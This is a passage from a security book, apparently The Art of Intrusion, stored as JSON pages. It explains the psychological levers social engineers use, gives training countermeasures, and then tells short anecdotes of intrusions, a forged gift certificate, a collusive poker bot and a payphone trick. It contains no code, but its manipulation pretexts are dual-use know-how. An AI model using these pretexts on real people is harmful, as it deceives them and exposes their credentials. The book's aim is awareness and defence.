others. Helping can make us feel empowered. It can get us out of a\nbad mood. It can make us feel good about ourselves. Social engineers\nfind many ways of taking advantage of our inclination to be helpful.\nExample: When Whurley showed up at the employees’ entrance of the\ncasino, the guard believed his story about taking a “honey” to lunch, loaned\nhim money for the date, gave him advice about how to handle a woman,\nand didn’t become insistent when Whurley walked away without ever hav-\ning shown an employee’s ID badge.\nDr. Sagarin comments, “Because social engineers often target people\nwho don’t know the value of the information they are giving away, the\nhelp may be seen as carrying little cost to the helper. (How much work\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n235\n"
        },
        {
            "page_number": 257,
            "text": "is it to do a quick database query for the poor slob on the other end of\nthe telephone?)”\nAttribution\nAttribution refers to the way people explain their own behavior and that\nof others. A goal of the social engineer is to have the target attribute cer-\ntain characteristics to him or her, such as expertise, trustworthiness, cred-\nibility, or likability. \nExample: Dr. Sagarin cites the story, “The Promotion Seeker,” appearing\nin Chapter 10 of The Art of Deception. The attacker hangs around for a\nwhile before requesting access to a conference room, allaying suspicion\nbecause people assume an intruder wouldn’t dare spend time unnecessarily\nin a place where he or she might be caught. \nA social engineer might walk up to a lobby receptionist, put a $5 bill\ndown on the counter, and say something like, “I found this on the floor.\nDid anyone say they lost some money?” The receptionist would attribute\nto the social engineer the qualities of honesty and trustworthiness.\nIf we see a man hold a door open for an elderly lady, we think he’s\nbeing polite; if the woman is young and attractive, we likely attribute a\nquite different motive.\nLiking\nSocial engineers frequently take advantage of the fact that all of us are\nmore likely to say “yes” to requests from people we like.\nExample: Whurley was able to get useful information from Lenore, the\ngirl he met at the fitness center, in part by using “cold reading” to gauge her\nreactions and continually tailor his remarks to things she would respond to.\nThis led her to feel that they shared similar tastes and interests (“Me, too!”).\nHer sense of liking him made her more open to sharing the information he\nwanted to get from her.\nPeople like those who are like us, such as having similar career interests,\neducational background, and personal hobbies. The social engineer will\nfrequently research his target’s background and equip himself to feign an\ninterest in things the target cares about — sailing or tennis, antique air-\nplanes, collecting old guns, or whatever. Social engineers can also\nincrease liking through the use of compliments and flattery, and physi-\ncally attractive social engineers can capitalize on their attractiveness to\nincrease liking.\nThe Art of Intrusion\n236\n"
        },
        {
            "page_number": 258,
            "text": "Another tactic is the use of name-dropping of people that the target\nknows and likes. In this, the attacker is trying to be seen as part of the\n“in group” within the organization. Hackers also use flattery or compli-\nments to stroke the ego of the victim, or target people within the organ-\nization who have recently been rewarded for some accomplishment. Ego\nstroking may nudge the unsuspecting victim into the role of a helper.\nFear\nA social engineer will sometimes make his or her target believe that some\nterrible thing is about to happen, but that the impending disaster can be\naverted if the target does as the attacker suggests. In this way, the attacker\nuses fear as a weapon. \nExample: In the story, “The Emergency Patch,” appearing in Chapter 12\nof The Art of Deception, the social engineer scares his victim with the\nthreat that the victim will lose valuable data unless the victim agrees to have\nan emergency “patch” installed on the company’s database server. The fear\nmakes the victim vulnerable to the social engineer’s “solution.” \nStatus-based attacks frequently rely on fear. A social engineer mas-\nquerading as a company executive may target a secretary or junior staffer\nwith an “urgent” demand, and with the implication that the underling\nwill get into trouble, or might even get fired, for not complying.\nReactance\nPsychological reactance is the negative reaction we experience when we\nperceive that our choices or freedoms are being taken away. When in the\nthroes of reactance, we lose our sense of perspective as our desire for the\nthing we have lost eclipses all else. \nExample: Two stories in The Art of Deception illustrate the power of\nreactance — one based on threats concerning the loss of access to informa-\ntion, the other on the loss of access to computing resources.\nIn a typical attack based on reactance, the attacker tells his target that\naccess to computer files won’t be available for a time, and names a time\nperiod that would be completely unacceptable. “You’re not going to be\nable to access your files for the next two weeks, but we’ll do everything\npossible to make sure it won’t be any longer than that.” When the victim\nbecomes emotional, the attacker offers to help restore the files quicker;\nall that’s needed is the target’s username and password. The target,\nrelieved at a way to avoid the threatened loss, will usually comply gladly.\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n237\n"
        },
        {
            "page_number": 259,
            "text": "The other side of the coin involves using the scarcity principle to coerce\nthe target into pursuing a promised gain. In one version, victims are\ndrawn to a Web site where their sign-on information or their credit card\ninformation can be stolen. How would you react to an email that prom-\nised a brand-new Apple iPod for $200 to the first 1,000 visitors to a par-\nticular Web site? Would you go to the site and register to buy one? And\nwhen you register with your email address and choose a password, will\nyou use choose the same password that you use elsewhere?\nCOUNTERMEASURES\nMitigating social engineering attacks requires a series of coordinated\nefforts, including the following:\n●\nDeveloping clear, concise security protocols that are enforced\nconsistently throughout the organization\n●\nDeveloping security awareness training\n●\nDeveloping simple rules defining what information is sensitive\n●\nDeveloping a simple rule that says that whenever a requestor\nis asking for a restricted action (that is, an action that involves\ninteraction with computer-related equipment where the con-\nsequences are not known), the requestor’s identity must be\nverified according to company policy\n●\nDeveloping a data classification policy\n●\nTraining employees on ways to resist social engineering\nattacks\n●\nTesting your employee’s susceptibility to social engineering\nattacks by conducting a security assessment\nThe most important aspect of the program calls for establishing appro-\npriate security protocols and then motivating employees to adhere to the\nprotocols. The next section outlines some basic points to consider when\ndesigning programs and training to counter the social engineering threat.\nGuidelines for Training\nFollowing are some guidelines for training:\n●\nRaise awareness that social engineers will almost certainly\nattack their company at some point, perhaps repeatedly.\nThe Art of Intrusion\n238\n"
        },
        {
            "page_number": 260,
            "text": "There may be a lack of general awareness that social engineers\nconstitute a substantial threat; many are not even aware that\nthe threat exists. People generally don’t expect to be manipu-\nlated and deceived, so they get caught off guard by a social\nengineering attack. Many Internet users have received an\nemail purportedly from Nigeria that requests help in moving\na substantial amount of money to the States; they offer a per-\ncentage of the gross for this kind assistance. Later, you’re\nrequested to advance some fees to initiate the transfer process,\nonly to be left holding the bag. One lady in New York recently\nfell for the scam and “borrowed” hundreds of thousands of\ndollars from her employer to advance the fees. Rather than\nspending time on her new yet-to-be-purchased yacht, she is\nfacing the prospect of sharing a bunk bed in a federal deten-\ntion facility. People really do fall for these social engineering\nattacks; otherwise, the Nigerian scammers would stop sending\nthe emails.\n●\nUse role-playing to demonstrate personal vulnerability to social\nengineering techniques, and to train employees in methods to\nresist them.\nMost people operate under the illusion of invulnerability,\nimagining they’re too smart to be manipulated, conned,\ndeceived, or influenced. They believe that these things only\nhappen to “stupid” people. Two methods are available to help\nemployees understand their vulnerability and make them true\nbelievers. One method involves demonstrating the effective-\nness of social engineering by “burning” some employees prior\nto their participation in a security awareness seminar, and then\nhaving them relate their experiences in class. Another\napproach is to demonstrate vulnerability by analyzing actual\nsocial engineering case studies to illustrate how people are\nsusceptible to these attacks. In either case, the training should\nexamine the mechanism of the attack, analyzing why it\nworked, and then discussing how such attacks can be recog-\nnized and resisted. \n●\nAim to establish a sense in the trainees that they will feel foolish if\nmanipulated by a social engineering attack after the training.\nTraining should emphasize each employee’s responsibility to\nhelp protect sensitive corporate assets. In addition, it’s vital\nthat the designers of the training recognize that the motiva-\ntion to follow security protocols in certain situations only\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n239\n"
        },
        {
            "page_number": 261,
            "text": "grows out of an understanding of why the protocols are nec-\nessary. During security-awareness training, the instructors\nshould give examples of how the security protocol protects\nthe business, and the harm that could befall the company if\npeople ignore them or are negligent.\nIt’s also useful to emphasize that a successful social engineering\nattack may jeopardize the personal information of the employee\nand his or her friends and associates in the company. A com-\npany’s human resources database may contain personal infor-\nmation that would be extremely valuable to identity thieves.\nBut the best motivating factor may be that no one likes to be\nmanipulated, deceived, or conned. As such, people are highly\nmotivated not to feel foolish or stupid by falling for some\nscam.\nPrograms for Countering Social Engineering\nFollowing are some basic points to consider when designing programs:\n●\nDevelop procedures for employee actions when a social engineer-\ning attack is recognized or suspect.\nThe reader is referred to the extensive handbook of security\npolicies provided in The Art of Deception. These polices should\nbe considered as a reference; take what you need and leave the\nrest. Once the company’s procedures have been developed and\nput into use, the information should be posted on the com-\npany’s intranet, where it is quickly available. Another excellent\nresource is Charles Cresson Wood’s treatise on developing\ninformation security policies, Information Security Policies\nMade Easy (San Jose, CA: Baseline Software, 2001).\n●\nDevelop simple guidelines for employees, defining what infor-\nmation the company considers sensitive.\nSince we process information in heuristic mode much of the\ntime, simple security rules can be designed to raise a red flag\nwhen requests are made involving sensitive information (such\nas confidential business information like an individual’s pass-\nword). Once an employee recognizes that sensitive informa-\ntion or some computer action has been requested, he or she\ncan refer to the security policy handbook on the company\nintranet Web page to determine the correct protocol or pro-\ncedures to follow. \nThe Art of Intrusion\n240\n"
        },
        {
            "page_number": 262,
            "text": "In addition, it’s important to understand and to convey to\nemployees that even information not considered as sensitive\nmay be useful to a social engineer, who can collect nuggets of\nseemingly useless information that can be joined to provide\ninformation for creating the illusion of credibility and trust-\nworthiness. The name of the project manager on a sensitive\ncompany project, the physical location of a team of develop-\ners, the name of the server that a particular employee uses,\nand the project name assigned to a secret project are all sig-\nnificant, and each company needs to weigh the needs of the\nbusiness against the possible threat to security.\nThese are just a few of the many examples of seemingly unim-\nportant information that can be of use to an attacker.\nScenarios such as those in The Art of Deception can be useful\nin conveying this notion to trainees.\n●\nModify organization politeness norms — It’s okay to say “no”!\nMost of us feel awkward or uncomfortable saying “no” to oth-\ners. (A product now on the market is designed for people who\nare too polite to hang up on telemarketers. When a telemar-\nketer calls, the user presses the * key and hangs up; a voice then\nsays to the caller, “Pardon me, this is the Phone Butler and I\nhave been directed to inform you that this household must\nregretfully decline your inquiry.” I love the “regretfully.” But\nI think it an interesting commentary that so many people\nneed to buy an electronic device to say “no” for them. Would\nyou pay $50 for a device that saves you the “embarrassment”\nof saying “no”?)\nThe company’s social engineering training program should\nhave as one of its goals the redefining of the politeness norm\nat the company. This new behavior would include politely\ndeclining sensitive requests until the identity and authoriza-\ntion of the requestor can be verified. For example, the train-\ning might include suggesting responses on the order of, “As\nemployees of Company X, we both know how important it is\nto follow security protocols. So, we both understand that I’m\ngoing to have to verify your identity before complying with\nyour request.”\n●\nDeveloping procedures to verify identity and authorization.\nEach business must develop a process to verify identity and\nauthorization of people requesting information or actions\nfrom employees. The verification process in any situation will\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n241\n"
        },
        {
            "page_number": 263,
            "text": "necessarily depend on the sensitivity of the information or\naction being requested. As with many other issues in the\nworkplace, the security needs must be balanced against the\nbusiness needs of the organization. \nThis training needs to address not just the obvious techniques\nbut subtle ones as well, such as the use of a business card by\nWhurley to establish his credentials. (Recall the title character\nplayed by James Garner in the 1970s detective series The\nRockford Files, who kept a small printing press in his car so he\ncould print up an appropriate business card for any occasion.)\nWe provided a suggestion for the verification procedure in\nThe Art of Deception.2\n●\nGet top management buy-in.\nThis is, of course, almost a cliché: Every significant manage-\nment effort starts with the awareness that the program will\nneed management support to succeed. Perhaps there are few\ncorporate efforts in which this support is more important than\nsecurity, which daily grows more vital, yet which does little to\nfurther corporate revenues and so often takes a back seat. \nYet, that fact only makes it all the more important that a com-\nmitment to security start from the top. \nOn a related note, top management should also send two\nclear messages on this subject. Employees will never be asked\nby management to circumvent any security protocol. And no\nemployee will get into trouble for following security proto-\ncols, even if directed by a manager to violate them.\nOn a Lighter Note: Meet the Manipulators\nin Your Own Family — Your Children\nMany children (or is it most?) have an amazing degree of manipulative\nskill — much like the skill used by social engineers — which in most cases\nthey lose as they grow up and become more socialized. Every parent has\nbeen the target of a child’s attack. When a youngster wants something\nbadly enough, he or she can be relentless to a degree that at the same\ntime is highly annoying, but also funny.\nAs Bill Simon and I were finishing this book, I was witness to a child’s\nfull-bore social engineering attack. My girlfriend Darci and her nine-year-\nold daughter Briannah had joined me in Dallas while I was there on busi-\nness. At the hotel on the last day before catching an evening flight,\nThe Art of Intrusion\n242\n"
        },
        {
            "page_number": 264,
            "text": "Briannah tested her mother’s patience by demanding they go to a restau-\nrant she had chosen for dinner, and threw a typically childish temper\ntantrum. Darci applied the mild punishment of temporarily taking away her\nGameboy and telling her she could not use her computer games for a day.\nBriannah put up with this for a while, then, little by little, began trying\ndifferent ways of convincing her mother to let her have her games back,\nand was still at it when I returned and joined them. The child’s constant\nnagging was annoying; then we realized she was trying to social engineer\nus and started taking notes:\n●\n“I’m bored. Can I please have my games back.” (Spoken as a\ndemand, not as a question.)\n●\n“I’ll drive you crazy unless I can play my games.”\n(Accompanied by a whine.)\n●\n“I won’t have anything to do on the plane without my games.”\n(Spoken in a tone of “Any idiot would understand this.”)\n●\n“It would be okay if I played just one game, wouldn’t it!?” (A\npromise disguised as a question.)\n●\n“I’ll be good if you give me my game back.” (The depths of\nearnest sincerity.)\n●\n“Last night I was really good so why can’t I play a game\nnow?” (A desperate attempt based on muddled reasoning.)\n●\n“I won’t do it ever again. (Pause.) Can I play a game now?”\n(“Won’t ever do it again” — how gullible does she think \nwe are?)\n●\n“Can I have back it now, please?” (If promises don’t work,\nmaybe a little begging will help . . . )\n●\n“I have to go back to school tomorrow, so I won’t be able to\nplay my game unless I can get started now.” (Okay, how many\ndifferent forms of social engineering are there? Maybe she\nshould have been a contributor to this book.)\n●\n“I’m sorry and I was wrong. Can I just play for a little while?”\n(Confession may be good for the soul but may not work very\nwell as manipulation.)\n●\n“Kevin made me do it.” (I thought only hackers said that!)\n●\n“I’m really sad without my game.” (If nothing else works, try\nlooking for a little sympathy.)\n●\n“I’ve gone more than half the day without my game.” (In\nother words, “How much suffering is enough suffering?”)\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n243\n"
        },
        {
            "page_number": 265,
            "text": "●\n“It doesn’t cost any money to play.” (A desperate attempt to\nguess at what her mother’s reason could be for extending the\npunishment so long. Bad guess.)\n●\n“It’s my birthday weekend and I can’t play my games.”\n(Another pitiful grab for sympathy.)\nAnd continuing as we prepared to head for the airport:\n●\n“I’ll be bored at the airport.” (In the forlorn hope that bore-\ndom would be considered a fearsome thing to be avoided at\nall costs. Maybe if Briannah got bored enough, she might try\ndrawing pictures or reading a book.)\n●\n“It’s a three-hour flight and I’ll have nothing to do!” (Still\nsome hope she might break down and open the book that had\nbeen brought along.)\n●\n“It’s too dark to read and it’s too dark to draw. If I play a\ngame, I can see the screen.” (The forlorn attempt at logic.)\n●\n“Can I at least use the Internet?” (There must be some com-\npromise in your heart.)\n●\n“You’re the best mom in the world!” (She is also skilled at\nusing compliments and flattery in a feeble attempt to get what\nshe wants.)\n●\n“It’s not fair!!!” (The final, last-ditch effort.)\nIf you want to increase your understanding of how social engineers\nmanipulate their targets and how they move people from a thinking state\ninto an emotional state . . . just listen to your kids.\nTHE BOTTOM LINE\nIn our first book together, Bill Simon and I labeled social engineering as\n“information security’s weakest link.”\nThree years later, what do we find? We find company after company\ndeploying security technologies to protect their computing resources\nagainst technical invasion by hackers or hired industrial spies, and main-\ntaining an effective physical security force to protect against unauthorized\ntrespass. \nBut we also find that little attention is given to counter the threats\nposed by social engineers. It is essential to educate and train employees\nabout the threat and how to protect themselves from being duped into\nThe Art of Intrusion\n244\n"
        },
        {
            "page_number": 266,
            "text": "assisting the intruders. The challenge to defend against human-based vul-\nnerabilities is substantial. Protecting the organization from being victim-\nized by hackers using social engineering tactics has to be the\nresponsibility of each and every employee — every employee, even those\nwho don’t use computers in performance of their duties. Executives are\nvulnerable, frontline people are vulnerable, switchboard operators, recep-\ntionists, cleaning crew staff, garage attendants, and most especially, new\nemployees — all can be exploited by social engineers as another step\ntoward achieving their illicit goal.\nThe human element has been proven to be information security’s\nweakest link for ages. The million dollar question is: Are you going to be\nthe weak link that a social engineer is able to exploit in your company?\nNOTES\n1. The remark by psychologist Neidert can be found online at www1.chapman.edu/comm/\ncomm/faculty/thobbs/com401/socialinfluence/mindfl.html.\n2. See Kevin D. Mitnick and William L. Simon, The Art of Deception (Wiley Publishing, Inc., 2002),\npp. 266–271.\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n245\n"
        },
        {
            "page_number": 267,
            "text": ""
        },
        {
            "page_number": 268,
            "text": "247\nChapter 11\nShort Takes\nI’m not a cryptanalyst, not a mathematician. I just know how people make\nmistakes in applications and they make the same mistakes over and over\nagain.\n— Former hacker turned security consultant\nS\nome of the stories we were given in the process of writing this\nbook didn’t fit neatly into any of the preceding chapters but are\ntoo much fun to ignore. Not all of these are hacks. Some are just\nmischievous, some are manipulative, some are worthwhile because they’re\nenlightening or revealing about some aspect of human nature . . . and\nsome are just plain funny.\nWe enjoyed them and thought you might, too.\nTHE MISSING PAYCHECK\nJim was a sergeant in the U.S. Army who worked in a computer group at\nFort Lewis, on Puget Sound in the state of Washington, under a tyrant\nof a top sergeant who Jim describes as “just mad at the world,” the kind\nof guy who “used his rank to make everyone of lesser rank miserable.”\nJim and his buddies in the group finally got fed up and decided they\nneeded to find some way of punishing the brute for making life so\nunbearable. \nTheir unit handled personnel record and payroll entries. To ensure\naccuracy, each item was entered by two separate soldier-clerks, and the\nresults were compared before the data was posted to the person’s record.\n"
        },
        {
            "page_number": 269,
            "text": "The revenge solution that the guys came up with was simple enough,\nJim says. Two workers made identical entries telling the computer that\nthe sergeant was dead. \nThat, of course, stopped his paycheck. \nWhen payday came and the sergeant complained that he hadn’t\nreceived his check, “Standard procedures called for pulling out the paper\nfile and having his paycheck created manually.” But that didn’t work,\neither. “For some unknown reason,” Jim wrote, tongue firmly planted in\ncheek, “his paper file could not be located anywhere. I have reason to\nbelieve that the file spontaneously combusted.” It’s not hard to figure\nout how Jim came to this conclusion. \nWith the computer showing that the man was dead and no hard-copy\nrecords on hand to show he had ever existed, the sergeant was out of\nluck. No procedure existed for issuing a check to man who did not exist.\nA request had to be generated to Army headquarters asking that copies\nof the papers in the man’s record be copied and forwarded, and for guid-\nance on whether there was any authority for paying him in the meantime.\nThe requests were duly submitted, with little expectation they would\nreceive a quick response. \nThere’s a happy end to the story. Jim reports that “his behavior was\nquite different for the rest the days I knew him.”\nCOME TO HOLLYWOOD, YOU TEEN WIZARD\nBack when the movie Jurassic Park 2 came out, a young hacker we’ll call\nYuki decided he wanted to “own” — that is, gain control of — the\nMCA/Universal Studios box that hosted lost-world.com, the Web site\nfor the Jurassic Park movie and the studio’s TV shows. \nIt was, he says, a “pretty trivial hack” because the site was so poorly\nprotected. He took advantage of that by a method he described in tech-\nnical terms as “inserting a CGI that ran a bouncer [higher port not fire-\nwalled] so I can connect to higher port and connect back to localhost for\nfull access.” \nMCA was then in a brand-new building. Yuki did a little Internet\nresearch, learned the name of the architectural firm, got to its Web site,\nand found little difficulty breaking into its network. (This was long\nenough ago that the obvious vulnerabilities have presumably been fixed\nby now.)\nFrom inside the firewall it was short work to locate the AutoCAD\nschematics of the MCA building. Yuki was delighted. Still, this was just a\nThe Art of Intrusion\n248\n"
        },
        {
            "page_number": 270,
            "text": "sidebar to his real effort. His friend had been busy designing “a cute new\nlogo” for the Jurassic Park Web pages, replacing the name Jurassic Park\nand substituting the open-jawed tyrannosaurus with a little ducky. They\nbroke into the Web site, posted their logo (see Figure 11-1) in place of\nthe official one, and sat back to see what would happen.\nFigure 11-1: The substitute for the Jurassic Park logo.\nThe response wasn’t quite what they expected. The media thought the\nlogo was funny, but suspicious. CNet News.com carried a story1 with a\nheadline that asked whether it was a hack or a hoax, suspecting that\nsomeone in the Universal organization might have pulled the stunt to\ngarner publicity for the movie. \nYuki says that he got in touch with Universal shortly afterward, explain-\ning the hole that he and his friend had used to gain access to the site, and\nalso telling them about a back door they had installed. Unlike many\norganizations that learn the identity of someone who has broken into their\nWeb site or network, the folks at Universal appreciated the information.\nMore than that, Yuki says, they offered him a job — no doubt figuring\nhe would be useful in finding and plugging other vulnerabilities. Yuki was\nthrilled by the offer.\nIt didn’t work out, though. “When they found that I was only 16, they\ntried to lowball me.” He turned down the opportunity. \nTwo years later, CNet News.com presented a list of their 10 all-time\nfavorite hacks.2 Yuki was delighted to see his Jurassic Pond hack promi-\nnently included.\nChapter 11\nShort Takes\n249\n"
        },
        {
            "page_number": 271,
            "text": "But his hacking days are over, Yuki says. He has “been out of the scene\nfor five years now.” After turning down the MCA offer, he started a con-\nsulting career that he’s been pursuing ever since.\nHACKING A SOFT DRINK MACHINE\nSome time back, Xerox and other companies experimented with machines\nthat would do the “E.T., phone home” bit. A copying machine, say,\nwould monitor its own status, and when toner was running low, or feed\nrollers were beginning to wear out, or some other problem was detected,\na signal would be generated to a remote station or to corporate head-\nquarters reporting the situation. A service person would then be dis-\npatched, bringing any needed repair parts.\nAccording to our informant, David, one of the companies that tested\nthe waters on this was Coca-Cola. Experimental Coke vending machines,\nDavid says, were hooked up to a Unix system and could be interrogated\nremotely for a report on their operational status. \nFinding themselves bored one day, David and a couple of friends\ndecided to probe this system and see what they could uncover. They\nfound that, as they expected, the machine could be accessed over telnet.\n“It was hooked up via a serial port and there was a process running that\ngrabbed its status and formatted it nicely.” They used the Finger program\nand learned that “a log-in had occurred to that account — all that\nremained for us was to find the password.”\nIt took them only three attempts to guess the password, even though\nsome company programmer had intentionally chosen one that was highly\nunlikely. Gaining access, they discovered that the source code for the pro-\ngram was stored in the machine and “we couldn’t resist making a little\nchange!”\nThey inserted code that would add a line at the end of the output mes-\nsage, about one time in every five: “Help! Someone is kicking me!” \n“The biggest laugh, though,” David says, “was when we guessed the\npassword.” Care to take a stab at what the password was that the Coke\npeople were so sure no one would be able to guess?\nThe password of the Coke vending machine, according to David, was\n“pepsi”! \nCRIPPLING THE IRAQI ARMY IN DESERT STORM\nIn the run-up stages for operation Desert Storm, U.S. Army Intelligence\nwent to work on the Iraqi Army’s communication systems, sending \nThe Art of Intrusion\n250\n"
        },
        {
            "page_number": 272,
            "text": "helicopters loaded with radio-frequency sensing equipment to strategic\nspots along “the safe side of the Iraqi border.” That’s the descriptive\nphrase used by Mike, who was there.\nThe helicopters were sent in groups of threes. Before the evolution of\nthe Global Positioning System (GPS) for pinpointing locations, the three\nchoppers provided cross-bearings that enabled the Intelligence people to\nplot the locations of each Iraqi Army unit, along with the radio frequen-\ncies they were using. \nOnce the operation began, the United States was able to eavesdrop on\nthe Iraqi communications. Mike says, “US soldiers who spoke Farsi\nbegan to listen in on the Iraqi commanders as they spoke to their ground\ntroop patrol leaders.” And not just listen. When a commander called for\nall of his units to establish communications simultaneously, the units\nwould sign in: “This is Camel 1.” “This is Camel 3.” “This is Camel 5.”\nOne of the U.S. eavesdroppers would then pipe up over the radio in\nFarsi, “This is Camel 1,” repeating the sign-in name.\nConfused, the Iraqi commander would tell Camel 1 that he already\nsigned in and shouldn’t do it twice. Camel 1 would innocently say he had\nonly signed in once. “There would be a flurry of discussion with allega-\ntions and denials about who was saying what,” Mike recounts. \nThe Army listeners continued the same pattern with different Iraqi com-\nmanders up and down the border. Then they decided to take their ploy to\nthe next level. Instead of repeating a sign-in name, a U.S. voice, in English,\nwould yell, “This is Bravo Force 5 — how y’all doing!” According to Mike,\n“There would be an uproar!”\nThese interruptions infuriated the commanders, who must have been\nmortified at their field troops hearing this disruption by the infidel\ninvaders and at the same time appalled to discover that they could not\nradio orders to their units without the American forces overhearing every\nword. They began routinely shifting through a list of backup frequencies.\nThe radio-frequency sensing equipment aboard the U.S. Army copters\nwas designed to defeat that strategy. The equipment simply scanned the\nradio band and quickly located the frequency that the Iraqis had switched\nto. The U.S. listeners were soon back on track. Meanwhile, with each\nshift, Army Intelligence was able to add to their growing list of the fre-\nquencies being used by the Iraqis. And they were continuing to assemble\nand refine their “order of battle” of the Iraqi defense force — size, loca-\ntion, and designation of the units, and even action plans.\nFinally the Iraqi commanders despaired and forfeited radio communi-\ncation with their troops, turning instead to buried telephone lines. Again,\nthe United States was right behind them. The Iraqi Army was relying on\nChapter 11\nShort Takes\n251\n"
        },
        {
            "page_number": 273,
            "text": "old, basic serial telephone lines, and it was a simple matter to tap into any\nof these lines with an encrypted transmitter, forwarding all the traffic to\nArmy Intelligence. \nThe American Army’s Farsi speakers went back to work, this time using\nthe same methods they had used earlier for disrupting the radio commu-\nnications. It’s funny to picture the expression on the face of some Iraqi\nmajor or colonel or general as a jovial voice comes booming down the\nline, “Hi, this is Bravo Force 5 again. How y’all doing!”\nAnd maybe he might add something like, “We missed you for a while\nand it’s good to be back.” \nAt this point, the Iraqi commanders had no modern communication\noptions left. They resorted to writing out their orders and sending the\npaper messages via trucks to the officers in the field, who wrote out their\nreplies and sent the truck on its way back across the steaming, sandy\ndesert to headquarters. A single query and response could take hours for\nthe round-trip. Commands that required multiple units to act in coordi-\nnation became nearly impossible because it was so difficult to get the\norders to each involved field unit in time for them to act together. \nNot exactly an effective way to defend against the fast-moving American\nforces.\nAs soon as the air war started, a group of U.S. pilots was assigned the\ntask of looking for the trucks that shuttled messages back and forth\nbetween the known locations of the Iraqi field groups. The Air Force\nstarted targeting these communication trucks and knocking them out of\naction. Within a few days, Iraqi drivers were refusing to carry the mes-\nsages among field leaders because they knew it was certain death. \nThat spelled a near-complete breakdown in the ability of the Iraqi com-\nmand-and-control system. Even when Iraqi Central Command was able\nto get radio orders through to the field, the field commanders, Mike says,\n“were terrified about these communications because they knew that the\nmessages were being listened to by the U.S. Army and would be used to\nsend attacks against their location” — especially since, by responding to\nthe orders, the field commander revealed that he was still alive, and could\nexpect his response had allowed the Americans to pinpoint his location.\nIn an effort to spare their own lives, some Iraqi field units disabled their\nremaining communication devices so they would not have to hear incom-\ning communications.\n“In short order,” Mike remembers with obvious glee, “the Iraqi Army\ncollapsed into chaos and inactivity in many locations because no one was\nable — or willing — to communicate.”\nThe Art of Intrusion\n252\n"
        },
        {
            "page_number": 274,
            "text": "THE BILLION-DOLLAR GIFT CERTIFICATE\nFor the most part, the following is directly taken from our conversation\nwith this former hacker, who is now a well-established, respected security\nconsultant.\nIt’s all there, dude, it’s all there. “Why do you rob banks, Mr.\nHorton?” “That’s where the money is.” \nI’ll tell you a funny story. Me and this guy Frank from the\nNational Security Agency — I won’t even give his name, he now\nworks for Microsoft. We had a [penetration test] engagement\nwith a company that makes digital gift certificates. They’re out\nof business, I’m still not gonna mention them.\nSo, what are we gonna hack? Are we gonna hack the crypto in the\ngift certificate? No, [the encryption] was like awesome, very well\ndone. It’s cryptographically secured, it would be a waste of time to\ntry. So what are we gonna attack? \nWe look at how a merchant redeems a certificate. This is an\ninsider attack because we’ve been allowed to have a merchant\naccount. Well, we find a flaw in the redemption system, an appli-\ncation flaw that gave us arbitrary command execution on the\nbox. It was foolish, childish, no special skills needed — you just\ngotta know what you’re looking for. I’m not a cryptanalyst, not a\nmathematician. I just know how people make mistakes in appli-\ncations and they make the same mistakes over and over again.\nOn the same subnet with the redemption center, they have [a con-\nnection to] their mint — the machine that makes the gift certifi-\ncates. We broke into that machine using a trust relationship. As\nopposed to just getting a root prompt, we made a gift\ncertificate — we minted a gift certificate with 32 high bits, and\nset the currency unit to U.S. dollars. \nI now have a gift certificate worth $1,900,000,000. And the cer-\ntificate was completely valid. Someone said we should have set it\nto English pounds, which would have been more bang for the buck. \nSo, we went to the web site for the Gap and bought a pair of socks.\nTheoretically, we had a billion, nine hundred million coming in\nchange from a pair of socks. It was awesome.\nI wanted to staple the socks to the pen test report. \nChapter 11\nShort Takes\n253\n"
        },
        {
            "page_number": 275,
            "text": "But he wasn’t done. He didn’t like the way he thought the story must\nhave sounded to us, and he went on, hoping to correct the impression.\nMaybe I sound like a rock star to you, but all you see is the path I\ntook and you go, “Oh, my God, look how clever he is. He did this to\nget on the box, and then on the box he violated a trust relationship,\nand then once there he got onto the mint and he fabricated a gift\ncertificate.” \nYeah, but do you know how hard that really was? It was like,\n“Well, try this, did that work?” No sale. “Try this, did that\nwork?” No sale. Trial and error. It’s curiosity, perseverance and\nblind luck. And mix in a little bit of skill.\nI actually still have those socks.\nTHE TEXAS HOLD ’EM HACK\nOne of the things poker players feel pretty confident about when sitting\ndown at a table in a major casino — whether playing today’s most popu-\nlar version, Texas Hold ’Em, or some other variation — is that, under the\nwatchful eyes of the dealer, the pit bosses, and the all-seeing video cam-\neras, they can count on their own skill and luck, and not worry much that\nsome of the other players might be cheating.\nThese days, thanks to the Internet, it’s possible to sit down at a poker\ntable electronically — playing from the comfort of your own computer,\nfor money, against live players sitting at their computers in various parts\nof the country and the world. \nAnd then along comes a hacker who recognizes a way to give himself\nmore than a little advantage, by using a homemade bot — a robot — in\nthis case, an electronic one. The hacker, Ron, says that this involved\n“writing a bot that played ‘mathematically perfect’ poker online while\nmisleading the opponents into thinking they were playing against a real\nhuman player.” Besides making money on everyday games, he entered his\nbot in quite a number of tournaments with impressive success. “In one\nfour-hour ‘free-roll’ (no entry fee) tournament that started with three\nhundred players, the bot finished in second place.”\nThings were going great guns until Ron made an error in judgment:\nHe decided to offer the bot for sale, with a price tag of $99 a year to each\nbuyer. People began to hear about the product and folks using the online\npoker site he had targeted became concerned that they might be playing\nagainst robotic players. “This caused such an uproar (and concern by\nThe Art of Intrusion\n254\n"
        },
        {
            "page_number": 276,
            "text": "casino management that they would lose customers) that the site added\ncode to detect the use of my bot and said they would permanently ban\nanyone caught using it.”\nTime for a change in strategy. \nAfter unsuccessfully attempting to make a business of the bot tech-\nnology itself, I decided to take the whole project underground. I\nmodified the bot to play at one of the largest online poker sites,\nand extended the technology so it could play in “team mode,”\nwhere two or more bots at the same table share their hidden cards\namong themselves for unfair advantage.\nIn his original email about this adventure, Ron implied that his bots\nwere still in use. Later, he wrote again asking us to say the following: \nAfter assessing the financial harm that would be caused to thou-\nsands of online poker players, Ron ultimately decided never to use\nhis technology against others. \nStill, online gamblers, you need to decide for yourselves. If Ron could\ndo it, so can others. You might be better off hopping a plane to Las Vegas.\nTHE TEENAGE PEDOPHILE CHASER\nMy coauthor and I found this story compelling. Even though it may be\nonly partially true or, for all we know, entirely made up, we decided to\nshare it essentially the way it was submitted: \nIt all started when I was about 15 years old. A friend of mine,\nAdam, showed me how to place free phone calls from the school\npayphone, which was located outside on the pavilion where we\nused to eat lunch. This was the first time I had done anything\neven remotely illegal. Adam fashioned a paperclip into a kind of\nfree phone card, using the paperclip to puncture the earpiece of the\nhandset. He would then dial the 